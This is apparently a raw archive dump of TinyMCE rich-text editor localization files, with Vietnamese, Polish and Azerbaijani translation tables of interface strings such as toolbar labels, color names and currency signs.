"Midnight Blue": "Xanh d\u01b0\u01a1ng n\u1eeda \u0111\u00eam",
"Yellow": "V\u00e0ng",
"Orange": "Cam",
"Red": "\u0110\u1ecf",
"Light Gray": "X\u00e1m nh\u1ea1t",
"Gray": "X\u00e1m",
"Dark Yellow": "V\u00e0ng \u0111\u1eadm",
"Dark Orange": "Cam \u0111\u1eadm",
"Dark Red": "\u0110\u1ecf \u0111\u1eadm",
"Medium Gray": "X\u00e1m nh\u1eb9",
"Dark Gray": "X\u00e1m \u0111\u1eadm",
"Light Green": "Xanh l\u00e1 nh\u1ea1t",
"Light Yellow": "V\u00e0ng nh\u1ea1t",
"Light Red": "\u0110\u1ecf nh\u1ea1t",
"Light Purple": "T\u00edm nh\u1ea1t",
"Light Blue": "Xanh d\u01b0\u01a1ng nh\u1ea1t",
"Dark Purple": "T\u00edm \u0111\u1eadm",
"Dark Blue": "Xanh d\u01b0\u01a1ng \u0111\u1eadm",
"Black": "\u0110en",
"White": "Tr\u1eafng",
"Switch to or from fullscreen mode": "Chuy\u1ec3n qua ho\u1eb7c l\u1ea1i ch\u1ebf \u0111\u1ed9 to\u00e0n m\u00e0n h\u00ecnh",
"Open help dialog": "M\u1edf h\u1ed9p tho\u1ea1i tr\u1ee3 gi\u00fap",
"history": "l\u1ecbch s\u1eed",
"styles": "ki\u1ec3u",
"formatting": "\u0111\u1ecbnh d\u1ea1ng",
"alignment": "canh l\u1ec1",
"indentation": "th\u1ee5t \u0111\u1ea7u d\u00f2ng",
"permanent pen": "b\u00fat d\u1ea7u",
"comments": "b\u00ecnh lu\u1eadn...",
"Format Painter": "Sao ch\u00e9p \u0111\u1ecbnh d\u1ea1ng",
"Insert\/edit iframe": "Ch\u00e8n\/s\u1eeda iframe",
"Capitalization": "Ch\u1eef hoa",
"lowercase": "ch\u1eef th\u01b0\u1eddng",
"UPPERCASE": "VI\u1ebeT HOA",
"Title Case": "D\u1ea1ng ti\u00eau \u0111\u1ec1",
"Permanent Pen Properties": "Thu\u1ed9c t\u00ednh b\u00fat",
"Permanent pen properties...": "Thu\u1ed9c t\u00ednh b\u00fat...",
"Font": "Ph\u00f4ng ch\u1eef",
"Size": "K\u00edch th\u01b0\u1edbc",
"More...": "Th\u00eam...",
"Spellcheck Language": "Ng\u00f4n ng\u1eef ch\u00ednh t\u1ea3",
"Select...": "Ch\u1ecdn...",
"Preferences": "T\u00f9y ch\u1ecdn",
"Yes": "C\u00f3",
"No": "Kh\u00f4ng",
"Keyboard Navigation": "Ph\u00edm \u0111i\u1ec1u h\u01b0\u1edbng",
"Version": "Phi\u00ean b\u1ea3n",
"Anchor": "Neo",
"Special character": "K\u00fd t\u1ef1 \u0111\u1eb7c bi\u1ec7t",
"Code sample": "M\u00e3 m\u1eabu",
"Color": "M\u00e0u s\u1eafc",
"Emoticons": "Bi\u1ec3u t\u01b0\u1ee3ng c\u1ea3m x\u00fac",
"Document properties": "Thu\u1ed9c t\u00ednh t\u00e0i li\u1ec7u",
"Image": "Image",
"Insert link": "Ch\u00e8n li\u00ean k\u1ebft",
"Target": "\u0110\u00edch",
"Link": "Link",
"Poster": "Ng\u01b0\u1eddi g\u1eedi",
"Media": "Media",
"Print": "In",
"Prev": "Tr\u01b0\u1edbc",
"Find and replace": "T\u00ecm v\u00e0 thay th\u1ebf",
"Whole words": "To\u00e0n b\u1ed9 t\u1eeb",
"Spellcheck": "Ki\u1ec3m tra ch\u00ednh t\u1ea3",
"Caption": "Ti\u00eau \u0111\u1ec1",
"Insert template": "Th\u00eam m\u1eabu"
});PK
h�\P���H�Hprogram/js/tinymce/langs/pl.jsnu�[���tinymce.addI18n('pl',{
"Redo": "Powt\u00f3rz",
"Undo": "Cofnij",
"Cut": "Wytnij",
"Copy": "Kopiuj",
"Paste": "Wklej",
"Select all": "Zaznacz wszystko",
"New document": "Nowy dokument",
"Ok": "Ok",
"Cancel": "Anuluj",
"Visual aids": "Pomoce wizualne",
"Bold": "Pogrubienie",
"Italic": "Kursywa",
"Underline": "Podkre\u015blenie",
"Strikethrough": "Przekre\u015blenie",
"Superscript": "Indeks g\u00f3rny",
"Subscript": "Indeks dolny",
"Clear formatting": "Wyczy\u015b\u0107 formatowanie",
"Align left": "Wyr\u00f3wnaj do lewej",
"Align center": "Wyr\u00f3wnaj do \u015brodka",
"Align right": "Wyr\u00f3wnaj do prawej",
"Justify": "Wyjustuj",
"Bullet list": "Lista wypunktowana",
"Numbered list": "Lista numerowana",
"Decrease indent": "Zmniejsz wci\u0119cie",
"Increase indent": "Zwi\u0119ksz wci\u0119cie",
"Close": "Zamknij",
"Formats": "Formaty",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Twoja przegl\u0105darka nie obs\u0142uguje bezpo\u015bredniego dost\u0119pu do schowka. U\u017cyj zamiast tego kombinacji klawiszy Ctrl+X\/C\/V.",
"Headers": "Nag\u0142\u00f3wki",
"Header 1": "Nag\u0142\u00f3wek 1",
"Header 2": "Nag\u0142\u00f3wek 2",
"Header 3": "Nag\u0142\u00f3wek 3",
"Header 4": "Nag\u0142\u00f3wek 4",
"Header 5": "Nag\u0142\u00f3wek 5",
"Header 6": "Nag\u0142\u00f3wek 6",
"Headings": "Nag\u0142\u00f3wki",
"Heading 1": "Nag\u0142\u00f3wek 1",
"Heading 2": "Nag\u0142\u00f3wek 2",
"Heading 3": "Nag\u0142\u00f3wek 3",
"Heading 4": "Nag\u0142\u00f3wek 4",
"Heading 5": "Nag\u0142\u00f3wek 5",
"Heading 6": "Nag\u0142\u00f3wek 6",
"Preformatted": "Wst\u0119pne formatowanie",
"Div": "Div",
"Pre": "Pre",
"Code": "Kod",
"Paragraph": "Akapit",
"Blockquote": "Blok cytatu",
"Inline": "W tek\u015bcie",
"Blocks": "Bloki",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Wklejanie jest w trybie tekstowym. Zawarto\u015b\u0107 zostanie wklejona jako zwyk\u0142y tekst dop\u00f3ki nie wy\u0142\u0105czysz tej opcji.",
"Fonts": "Fonty",
"Font Sizes": "Rozmiar fontu",
"Class": "Klasa",
"Browse for an image": "Przegl\u0105daj za zdj\u0119ciem",
"OR": "LUB",
"Drop an image here": "Upu\u015b\u0107 obraz tutaj",
"Upload": "Prze\u015blij",
"Block": "Zablokuj",
"Align": "Wyr\u00f3wnaj",
"Default": "Domy\u015blne",
"Circle": "K\u00f3\u0142ko",
"Disc": "Dysk",
"Square": "Kwadrat",
"Lower Alpha": "Ma\u0142e litery",
"Lower Greek": "Ma\u0142e greckie",
"Lower Roman": "Ma\u0142e rzymskie",
"Upper Alpha": "Wielkie litery",
"Upper Roman": "Wielkie rzymskie",
"Anchor...": "Kotwica...",
"Name": "Nazwa",
"Id": "Identyfikator",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Identyfikator powinien zaczyna\u0107 si\u0119 liter\u0105, dozwolone s\u0105 tylko litery, numery, uko\u015bniki, kropki, dwukropki i podkre\u015blniki - tzw. pod\u0142ogi",
"You have unsaved changes are you sure you want to navigate away?": "Masz niezapisane zmiany. Czy na pewno chcesz opu\u015bci\u0107 stron\u0119?",
"Restore last draft": "Przywr\u00f3\u0107 ostatni szkic",
"Special character...": "Znak specjalny...",
"Source code": "Kod \u017ar\u00f3d\u0142owy",
"Insert\/Edit code sample": "Dodaj\/Edytuj przyk\u0142adowy kod",
"Language": "J\u0119zyk",
"Code sample...": "Przyk\u0142ad kodu...",
"Color Picker": "Selektor kolor\u00f3w",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Od lewej do prawej",
"Right to left": "Od prawej do lewej",
"Emoticons": "Ikony emocji",
"Emoticons...": "Emotikony...",
"Metadata and Document Properties": "Metadane i w\u0142a\u015bciwo\u015bci dokumentu",
"Title": "Tytu\u0142",
"Keywords": "S\u0142owa kluczowe",
"Description": "Opis",
"Robots": "Roboty",
"Author": "Autor",
"Encoding": "Kodowanie",
"Fullscreen": "Pe\u0142ny ekran",
"Action": "Akcja",
"Shortcut": "Skr\u00f3t",
"Help": "Pomoc",
"Address": "Adres",
"Focus to menubar": "Skup si\u0119 na pasku menu",
"Focus to toolbar": "Skupi\u0107 si\u0119 na pasku",
"Focus to element path": "Skup si\u0119 na \u015bcie\u017cce elementu",
"Focus to contextual toolbar": "Skupi\u0107 si\u0119 na pasku narz\u0119dzi kontekstowych",
"Insert link (if link plugin activated)": "Wstaw \u0142\u0105cze (je\u015bli w\u0142\u0105czysz wtyczk\u0119 link\u00f3w)",
"Save (if save plugin activated)": "Zapisz (je\u015bli aktywowana jest wtyczka do zapisu)",
"Find (if searchreplace plugin activated)": "Znajd\u017a (je\u015bli w\u0142\u0105czysz wtyczk\u0119 do wyszukiwania)",
"Plugins installed ({0}):": "Zainstalowane wtyczki ({0}):",
"Premium plugins:": "Wtyczki Premium:",
"Learn more...": "Dowiedz si\u0119 wi\u0119cej...",
"You are using {0}": "U\u017cywasz {0}",
"Plugins": "Pluginy",
"Handy Shortcuts": "Przydatne skr\u00f3ty",
"Horizontal line": "Pozioma linia",
"Insert\/edit image": "Wstaw\/edytuj obrazek",
"Alternative description": "Alternatywny opis",
"Accessibility": "Dost\u0119pno\u015b\u0107",
"Image is decorative": "Obraz jest dekoracyjny",
"Source": "\u0179r\u00f3d\u0142o",
"Dimensions": "Wymiary",
"Constrain proportions": "Zachowaj proporcje",
"General": "Og\u00f3lne",
"Advanced": "Zaawansowane",
"Style": "Styl",
"Vertical space": "Odst\u0119p pionowy",
"Horizontal space": "Odst\u0119p poziomy",
"Border": "Ramka",
"Insert image": "Wstaw obrazek",
"Image...": "Obraz...",
"Image list": "Lista obrazk\u00f3w",
"Rotate counterclockwise": "Obr\u00f3\u0107 w lewo",
"Rotate clockwise": "Obr\u00f3\u0107 w prawo",
"Flip vertically": "Przerzu\u0107 w pionie",
"Flip horizontally": "Przerzu\u0107 w poziomie",
"Edit image": "Edytuj obrazek",
"Image options": "Opcje obrazu",
"Zoom in": "Powi\u0119ksz",
"Zoom out": "Pomniejsz",
"Crop": "Przytnij",
"Resize": "Zmiana rozmiaru",
"Orientation": "Orientacja",
"Brightness": "Jasno\u015b\u0107",
"Sharpen": "Wyostrz",
"Contrast": "Kontrast",
"Color levels": "Poziom koloru",
"Gamma": "Gamma",
"Invert": "Odwr\u00f3\u0107",
"Apply": "Zaakceptuj",
"Back": "Cofnij",
"Insert date\/time": "Wstaw dat\u0119\/czas",
"Date\/time": "Data\/Czas",
"Insert\/edit link": "Wstaw\/edytuj \u0142\u0105cze",
"Text to display": "Tekst do wy\u015bwietlenia",
"Url": "URL",
"Open link in...": "Otw\u00f3rz \u0142\u0105cze w...",
"Current window": "Bie\u017c\u0105ce okno",
"None": "\u017baden",
"New window": "Nowe okno",
"Open link": "Otw\u00f3rz \u0142\u0105cze",
"Remove link": "Usu\u0144 \u0142\u0105cze",
"Anchors": "Kotwice",
"Link...": "\u0141\u0105cze...",
"Paste or type a link": "Wklej lub wpisz adres \u0142\u0105cza",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "URL, kt\u00f3ry wprowadzi\u0142e\u015b wygl\u0105da na adres e-mail. Czy chcesz doda\u0107 mailto: jako prefiks?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "URL, kt\u00f3ry wprowadzi\u0142e\u015b wygl\u0105da na link zewn\u0119trzny. Czy chcesz doda\u0107 http:\/\/ jako prefiks?",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "Wprowadzony przez Ciebie adres URL wydaje si\u0119 by\u0107 \u0142\u0105czem zewn\u0119trznym. Czy chcesz doda\u0107 wymagany prefiks https:\/\/?",
"Link list": "Lista link\u00f3w",
"Insert video": "Wstaw wideo",
"Insert\/edit video": "Wstaw\/edytuj wideo",
"Insert\/edit media": "Wstaw\/Edytuj media",
"Alternative source": "Alternatywne \u017ar\u00f3d\u0142o",
"Alternative source URL": "Alternatywny URL \u017ar\u00f3d\u0142a",
"Media poster (Image URL)": "Plakat (URL obrazu)",
"Paste your embed code below:": "Wklej tutaj kod do osadzenia:",
"Embed": "Osad\u017a",
"Media...": "Multimedia...",
"Nonbreaking space": "Nie\u0142amliwa spacja",
"Page break": "Podzia\u0142 strony",
"Paste as text": "Wklej jako zwyk\u0142y tekst",
"Preview": "Podgl\u0105d",
"Print...": "Drukuj...",
"Save": "Zapisz",
"Find": "Znajd\u017a",
"Replace with": "Zamie\u0144 na",
"Replace": "Zamie\u0144",
"Replace all": "Zamie\u0144 wszystko",
"Previous": "Poprzedni",
"Next": "Nast.",
"Find and Replace": "Znajd\u017a i Zamie\u0144",
"Find and replace...": "Znajd\u017a i zamie\u0144...",
"Could not find the specified string.": "Nie znaleziono szukanego tekstu.",
"Match case": "Dopasuj wielko\u015b\u0107 liter",
"Find whole words only": "Znajd\u017a tylko ca\u0142e wyrazy",
"Find in selection": "Znajd\u017a w zaznaczeniu",
"Spellcheck": "Sprawdzanie pisowni",
"Spellcheck Language": "J\u0119zyk sprawdzania pisowni",
"No misspellings found.": "Brak b\u0142\u0119d\u00f3w pisowni",
"Ignore": "Ignoruj",
"Ignore all": "Ignoruj wszystko",
"Finish": "Zako\u0144cz",
"Add to Dictionary": "Dodaj do s\u0142ownika",
"Insert table": "Wstaw tabel\u0119",
"Table properties": "W\u0142a\u015bciwo\u015bci tabeli",
"Delete table": "Usu\u0144 tabel\u0119",
"Cell": "Kom\u00f3rka",
"Row": "Wiersz",
"Column": "Kolumna",
"Cell properties": "W\u0142a\u015bciwo\u015bci kom\u00f3rki",
"Merge cells": "\u0141\u0105cz kom\u00f3rki",
"Split cell": "Podziel kom\u00f3rk\u0119",
"Insert row before": "Wstaw wiersz przed",
"Insert row after": "Wstaw wiersz po",
"Delete row": "Usu\u0144 wiersz",
"Row properties": "W\u0142a\u015bciwo\u015bci wiersza",
"Cut row": "Wytnij wiersz",
"Copy row": "Kopiuj wiersz",
"Paste row before": "Wklej wiersz przed",
"Paste row after": "Wklej wiersz po",
"Insert column before": "Wstaw kolumn\u0119 przed",
"Insert column after": "Wstaw kolumn\u0119 po",
"Delete column": "Usu\u0144 kolumn\u0119",
"Cols": "Kol.",
"Rows": "Wiersz.",
"Width": "Szeroko\u015b\u0107",
"Height": "Wysoko\u015b\u0107",
"Cell spacing": "Odst\u0119py kom\u00f3rek",
"Cell padding": "Dope\u0142nienie kom\u00f3rki",
"Caption": "Tytu\u0142",
"Show caption": "Poka\u017c podpis",
"Left": "Lewo",
"Center": "\u015arodek",
"Right": "Prawo",
"Cell type": "Typ kom\u00f3rki",
"Scope": "Kontekst",
"Alignment": "Wyr\u00f3wnanie",
"H Align": "Wyr\u00f3wnanie w pionie",
"V Align": "Wyr\u00f3wnanie w poziomie",
"Top": "G\u00f3ra",
"Middle": "\u015arodek",
"Bottom": "D\u00f3\u0142",
"Header cell": "Kom\u00f3rka nag\u0142\u00f3wka",
"Row group": "Grupa wierszy",
"Column group": "Grupa kolumn",
"Row type": "Typ wiersza",
"Header": "Nag\u0142\u00f3wek",
"Body": "Tre\u015b\u0107",
"Footer": "Stopka",
"Border color": "Kolor ramki",
"Insert template...": "Wstaw szablon...",
"Templates": "Szablony",
"Template": "Szablon",
"Text color": "Kolor tekstu",
"Background color": "Kolor t\u0142a",
"Custom...": "Niestandardowy...",
"Custom color": "Kolor niestandardowy",
"No color": "Bez koloru",
"Remove color": "Usu\u0144 kolor",
"Table of Contents": "Spis tre\u015bci",
"Show blocks": "Poka\u017c bloki",
"Show invisible characters": "Poka\u017c niewidoczne znaki",
"Word count": "Liczba s\u0142\u00f3w",
"Count": "Liczba",
"Document": "Dokument",
"Selection": "Zaznaczenie",
"Words": "S\u0142owa",
"Words: {0}": "S\u0142\u00f3w: {0}",
"{0} words": "{0} s\u0142\u00f3w",
"File": "Plik",
"Edit": "Edycja",
"Insert": "Wstaw",
"View": "Widok",
"Format": "Format",
"Table": "Tabela",
"Tools": "Narz\u0119dzia",
"Powered by {0}": "Powered by {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Obszar Edycji. ALT-F9 - menu. ALT-F10 - pasek narz\u0119dzi. ALT-0 - pomoc",
"Image title": "Tytu\u0142 obrazu",
"Border width": "Grubo\u015b\u0107 ramki",
"Border style": "Styl ramki",
"Error": "B\u0142\u0105d",
"Warn": "Ostrze\u017cenie",
"Valid": "Prawid\u0142owe",
"To open the popup, press Shift+Enter": "Aby otworzy\u0107 okienko, naci\u015bnij Shift+Enter",
"Rich Text Area. Press ALT-0 for help.": "Obszar tekstu sformatowanego. Naci\u015bnij ALT-0, aby uzyska\u0107 pomoc.",
"System Font": "Font systemowy",
"Failed to upload image: {0}": "Nie uda\u0142o si\u0119 przes\u0142a\u0107 obrazu: {0}",
"Failed to load plugin: {0} from url {1}": "Nie uda\u0142o si\u0119 za\u0142adowa\u0107 dodatku: {0} spod adresu url {1}",
"Failed to load plugin url: {0}": "Nie uda\u0142o si\u0119 za\u0142adowa\u0107 adresu url dodatku: {0}",
"Failed to initialize plugin: {0}": "Nie mo\u017cna zainicjowa\u0107 dodatku: {0}",
"example": "przyk\u0142ad",
"Search": "Wyszukaj",
"All": "Wszystkie",
"Currency": "Waluta",
"Text": "Tekst",
"Quotations": "Cudzys\u0142owy",
"Mathematical": "Matematyczne",
"Extended Latin": "Rozszerzony \u0142aci\u0144ski",
"Symbols": "Symbole",
"Arrows": "Strza\u0142ki",
"User Defined": "W\u0142asny",
"dollar sign": "znak dolara",
"currency sign": "znak waluty",
"euro-currency sign": "znak euro",
"colon sign": "znak colon",
"cruzeiro sign": "znak cruzeiro",
"french franc sign": "znak franka francuskiego",
"lira sign": "znak liry",
"mill sign": "znak mill",
"naira sign": "znak nairy",
"peseta sign": "znak pesety",
"rupee sign": "znak rupii",
"won sign": "znak wona",
"new sheqel sign": "znak nowego szekla",
"dong sign": "znak donga",
"kip sign": "znak kipa",
"tugrik sign": "znak tugrika",
"drachma sign": "znak drachmy",
"german penny symbol": "znak feniga",
"peso sign": "znak peso",
"guarani sign": "znak guarani",
"austral sign": "znak australa",
"hryvnia sign": "znak hrywny",
"cedi sign": "znak cedi",
"livre tournois sign": "znak livre tournois",
"spesmilo sign": "znak spesmilo",
"tenge sign": "znak tenge",
"indian rupee sign": "znak rupii indyjskiej",
"turkish lira sign": "znak liry tureckiej",
"nordic mark sign": "znak nordic mark",
"manat sign": "znak manata",
"ruble sign": "znak rubla",
"yen character": "znak jena",
"yuan character": "znak juana",
"yuan character, in hong kong and taiwan": "znak juana w Hongkongu i na Tajwanie",
"yen\/yuan character variant one": "jen\/juan, wariant pierwszy",
"Loading emoticons...": "\u0141adowanie emotikon\u00f3w...",
"Could not load emoticons": "Nie mo\u017cna za\u0142adowa\u0107 emotikon\u00f3w",
"People": "Ludzie",
"Animals and Nature": "Zwierz\u0119ta i natura",
"Food and Drink": "Jedzenie i picie",
"Activity": "Aktywno\u015b\u0107",
"Travel and Places": "Podr\u00f3\u017ce i miejsca",
"Objects": "Obiekty",
"Flags": "Flagi",
"Characters": "Znaki",
"Characters (no spaces)": "Znaki (bez spacji)",
"{0} characters": "{0} znak\u00f3w",
"Error: Form submit field collision.": "B\u0142\u0105d: kolizja pola przesy\u0142ania formularza.",
"Error: No form element found.": "B\u0142\u0105d: nie znaleziono elementu formularza.",
"Update": "Aktualizuj",
"Color swatch": "Pr\u00f3bka koloru",
"Turquoise": "Turkusowy",
"Green": "Zielony",
"Blue": "Niebieski",
"Purple": "Purpurowy",
"Navy Blue": "Ciemnoniebieski",
"Dark Turquoise": "Ciemnoturkusowy",
"Dark Green": "Ciemnozielony",
"Medium Blue": "\u015arednioniebieski",
"Medium Purple": "\u015aredniopurpurowy",
"Midnight Blue": "Nocny b\u0142\u0119kit",
"Yellow": "\u017b\u00f3\u0142ty",
"Orange": "Pomara\u0144czowy",
"Red": "Czerwony",
"Light Gray": "Jasnoszary",
"Gray": "Szary",
"Dark Yellow": "Ciemno\u017c\u00f3\u0142ty",
"Dark Orange": "Ciemnopomara\u0144czowy",
"Dark Red": "Ciemnoczerwony",
"Medium Gray": "\u015arednioszary",
"Dark Gray": "Ciemnoszary",
"Light Green": "Jasnozielony",
"Light Yellow": "Jasno\u017c\u00f3\u0142ty",
"Light Red": "Jasnoczerwony",
"Light Purple": "Jasnopurpurowy",
"Light Blue": "Jasnoniebieski",
"Dark Purple": "Ciemnopurpurowy",
"Dark Blue": "Ciemnoniebieski",
"Black": "Czarny",
"White": "Bia\u0142y",
"Switch to or from fullscreen mode": "W\u0142\u0105cz lub wy\u0142\u0105cz tryb pe\u0142noekranowy",
"Open help dialog": "Otw\u00f3rz okno dialogowe pomocy",
"history": "historia",
"styles": "style",
"formatting": "formatowanie",
"alignment": "wyr\u00f3wnanie",
"indentation": "wci\u0119cie",
"Font": "Font",
"Size": "Rozmiar",
"More...": "Wi\u0119cej...",
"Select...": "Wybierz...",
"Preferences": "Ustawienia",
"Yes": "Tak",
"No": "Nie",
"Keyboard Navigation": "Nawigacja za pomoc\u0105 klawiatury",
"Version": "Wersja",
"Code view": "Widok kodu",
"Open popup menu for split buttons": "Otw\u00f3rz menu podr\u0119czne dla przycisk\u00f3w",
"List Properties": "Ustawienia Listy",
"List properties...": "Ustawienia listy...",
"Start list at number": "Rozpocznij numeracj\u0119 od",
"Line height": "Wysoko\u015b\u0107 Linii",
"comments": "komentarze",
"Format Painter": "Malarz format\u00f3w",
"Insert\/edit iframe": "Wstaw\/edytuj iframe",
"Capitalization": "Jak w zdaniu",
"lowercase": "ma\u0142e litery",
"UPPERCASE": "WIELKIE LITERY",
"Title Case": "Jak Nazwy W\u0142asne",
"permanent pen": "marker",
"Permanent Pen Properties": "W\u0142a\u015bciwo\u015bci markera",
"Permanent pen properties...": "W\u0142a\u015bciwo\u015bci markera...",
"case change": "Zmie\u0144 wielko\u015b\u0107",
"page embed": "strona osadzona",
"Advanced sort...": "Sortowanie zaawansowane...",
"Advanced Sort": "Sortowanie Zaawansowane",
"Sort table by column ascending": "Sortuj tabel\u0119 po kolumnie rosn\u0105co",
"Sort table by column descending": "Sortuj tabel\u0119 po kolumnie malej\u0105co",
"Sort": "Sortuj",
"Order": "Kolejno\u015b\u0107",
"Sort by": "Sortuj wed\u0142ug",
"Ascending": "Rosn\u0105co",
"Descending": "Malej\u0105co",
"Column {0}": "Kolumna {0}",
"Row {0}": "Wiersz {0}",
"Spellcheck...": "Sprawd\u017a pisowni\u0119...",
"Misspelled word": "B\u0142\u0119dna pisownia",
"Suggestions": "Sugestie",
"Change": "Zmie\u0144",
"Finding word suggestions": "Wyszukiwanie propozycji s\u0142\u00f3w",
"Success": "Sukces",
"Repair": "Napraw",
"Issue {0} of {1}": "Problem {0} z {1}",
"Images must be marked as decorative or have an alternative text description": "Obrazy musz\u0105 by\u0107 oznaczone jako dekoracyjne lub posiada\u0107 alternatywny opis tekstowy.",
"Images must have an alternative text description. Decorative images are not allowed.": "Obrazki musz\u0105 mie\u0107 tekst alternatywny. Dekoracyjne obrazy nie s\u0105 dozwolone.",
"Or provide alternative text:": "lub dodaj tekst alternatywny:",
"Make image decorative:": "Uczy\u0144 obraz dekoracyjnym:",
"ID attribute must be unique": "ID atrybutu musi by\u0107 unikalny",
"Make ID unique": "Utw\u00f3rz unikalny ID",
"Keep this ID and remove all others": "Zachowaj to ID oraz usu\u0144 inne",
"Remove this ID": "Usu\u0144 to ID",
"Remove all IDs": "Usu\u0144 wszystkie ID",
"Checklist": "Checklista",
"Anchor": "Kotwica",
"Special character": "Znak specjalny",
"Code sample": "Przyk\u0142ad kodu \u017ar\u00f3d\u0142owego",
"Color": "Kolor",
"Document properties": "W\u0142a\u015bciwo\u015bci dokumentu",
"Image description": "Opis obrazka",
"Image": "Obraz",
"Insert link": "Wstaw \u0142\u0105cze",
"Target": "Cel",
"Link": "Adres \u0142\u0105cza",
"Poster": "Plakat",
"Media": "Media",
"Print": "Drukuj",
"Prev": "Poprz.",
"Find and replace": "Znajd\u017a i zamie\u0144",
"Whole words": "Ca\u0142e s\u0142owa",
"Insert template": "Wstaw szablon"
});PK
h�\g�݉2�2program/js/tinymce/langs/az.jsnu�[���tinymce.addI18n('az',{
"Redo": "\u0130r\u0259li",
"Undo": "Geriy\u0259",
"Cut": "K\u0259s",
"Copy": "K\u00f6\u00e7\u00fcr",
"Paste": "\u018flav\u0259 et",
"Select all": "Ham\u0131s\u0131n\u0131 se\u00e7",
"New document": "Yeni s\u0259n\u0259d",
"Ok": "Oldu",
"Cancel": "L\u0259\u011fv et",
"Visual aids": "Konturlar\u0131 g\u00f6st\u0259r",
"Bold": "Qal\u0131n",
"Italic": "Maili",
"Underline": "Alt x\u0259ttli",
"Strikethrough": "Silinmi\u015f",
"Superscript": "Yuxar\u0131 indeks",
"Subscript": "A\u015fa\u011f\u0131 indeks",
"Clear formatting": "Format\u0131 t\u0259mizl\u0259",
"Align left": "Sol t\u0259r\u0259f \u00fczr\u0259",
"Align center": "M\u0259rk\u0259z \u00fczr\u0259",
"Align right": "Sa\u011f t\u0259r\u0259f \u00fczr\u0259",
"Justify": "H\u0259r iki t\u0259r\u0259f \u00fczr\u0259",
"Bullet list": "S\u0131ras\u0131z siyah\u0131",
"Numbered list": "N\u00f6mr\u0259l\u0259nmi\u015f siyah\u0131",
"Decrease indent": "Bo\u015flu\u011fu azalt",
"Increase indent": "Bo\u015flu\u011fu art\u0131r",
"Close": "Ba\u011fla",
"Formats": "Formatlar",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Sizin brauzeriniz m\u00fcbadil\u0259 buferin\u0259 birba\u015fa yolu d\u0259st\u0259kl\u0259mir. Z\u0259hm\u0259t olmasa, bunun yerin\u0259 klaviaturan\u0131n Ctrl+X\/C\/V d\u00fcym\u0259l\u0259rind\u0259n istifad\u0259 edin.",
"Headers": "Ba\u015fl\u0131qlar",
"Header 1": "Ba\u015fl\u0131q 1",
"Header 2": "Ba\u015fl\u0131q 2",
"Header 3": "Ba\u015fl\u0131q 3",
"Header 4": "Ba\u015fl\u0131q 4",
"Header 5": "Ba\u015fl\u0131q 5",
"Header 6": "Ba\u015fl\u0131q 6",
"Headings": "Ba\u015fl\u0131qlar",
"Heading 1": "Ba\u015fl\u0131q 1",
"Heading 2": "Ba\u015fl\u0131q 2",
"Heading 3": "Ba\u015fl\u0131q 3",
"Heading 4": "Ba\u015fl\u0131q 4",
"Heading 5": "Ba\u015fl\u0131q 5",
"Heading 6": "Ba\u015fl\u0131q 6",
"Preformatted": "\u018fvv\u0259lc\u0259d\u0259n formatland\u0131r\u0131lm\u0131\u015f",
"Div": "Div",
"Pre": "Pre",
"Code": "Kod",
"Paragraph": "Paraqraf",
"Blockquote": "Sitat",
"Inline": "S\u0259tir i\u00e7i",
"Blocks": "Bloklar",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Hal-haz\u0131rda adi m\u0259tn rejimind\u0259 yerl\u0259\u015fdirilir. M\u0259zmun sad\u0259 m\u0259tn \u015f\u0259klind\u0259 yerl\u0259\u015fdiril\u0259c\u0259k, h\u0259l\u0259 bu se\u00e7imi d\u0259yi\u015fdirm\u0259.",
"Font Family": "Font stili",
"Font Sizes": "Font \u00f6l\u00e7\u00fcl\u0259ri",
"Class": "Sinif",
"Browse for an image": "\u015e\u0259kil se\u00e7",
"OR": "V\u018f YA",
"Drop an image here": "\u015e\u0259kli buraya s\u00fcr\u00fckl\u0259yin",
"Upload": "Y\u00fckl\u0259",
"Block": "Blokla",
"Align": "D\u00fczl\u0259ndir",
"Default": "Susmaya g\u00f6r\u0259",
"Circle": "Dair\u0259",
"Disc": "Disk",
"Square": "Sah\u0259",
"Lower Alpha": "Ki\u00e7ik Alfa \u0259lifbas\u0131",
"Lower Greek": "Ki\u00e7ik Yunan \u0259lifbas\u0131",
"Lower Roman": "Ki\u00e7ik Roma \u0259lifbas\u0131",
"Upper Alpha": "B\u00f6y\u00fck Alfa \u0259lifbas\u0131",
"Upper Roman": "B\u00f6y\u00fck Roma \u0259lifbas\u0131",
"Anchor": "L\u00f6vb\u0259r",
"Name": "Ad",
"Id": "ID",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "\u0130D h\u0259rfl\u0259 ba\u015flamal\u0131d\u0131r. Daha sonra is\u0259 h\u0259rf, r\u0259q\u0259m, tire, n\u00f6qt\u0259, qo\u015fan\u00f6qt\u0259, v\u0259 altx\u0259tt kimi simvollardan istifad\u0259 oluna bil\u0259r.",
"You have unsaved changes are you sure you want to navigate away?": "Sizd\u0259 yadda saxlan\u0131lmayan d\u0259yi\u015fiklikl\u0259r var \u0259minsiniz ki, getm\u0259k ist\u0259yirsiniz?",
"Restore last draft": "Son layih\u0259nin b\u0259rpas\u0131",
"Special character": "X\u00fcsusi simvollar",
"Source code": "M\u0259nb\u0259 kodu",
"Insert\/Edit code sample": "Kod n\u00fcmun\u0259sin\u0259 \u0259lav\u0259\/d\u00fcz\u0259li\u015f et",
"Language": "Dil",
"Code sample": "Kod n\u00fcmun\u0259si",
"Color": "R\u0259ng",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Soldan sa\u011fa",
"Right to left": "Sa\u011fdan sola",
"Emoticons": "Emosiyalar",
"Document properties": "S\u0259n\u0259din x\u00fcsusiyy\u0259tl\u0259ri",
"Title": "Ba\u015fl\u0131q",
"Keywords": "A\u00e7ar s\u00f6zl\u0259r",
"Description": "T\u0259sviri",
"Robots": "Robotlar",
"Author": "M\u00fc\u0259llif",
"Encoding": "Kodla\u015fd\u0131rma",
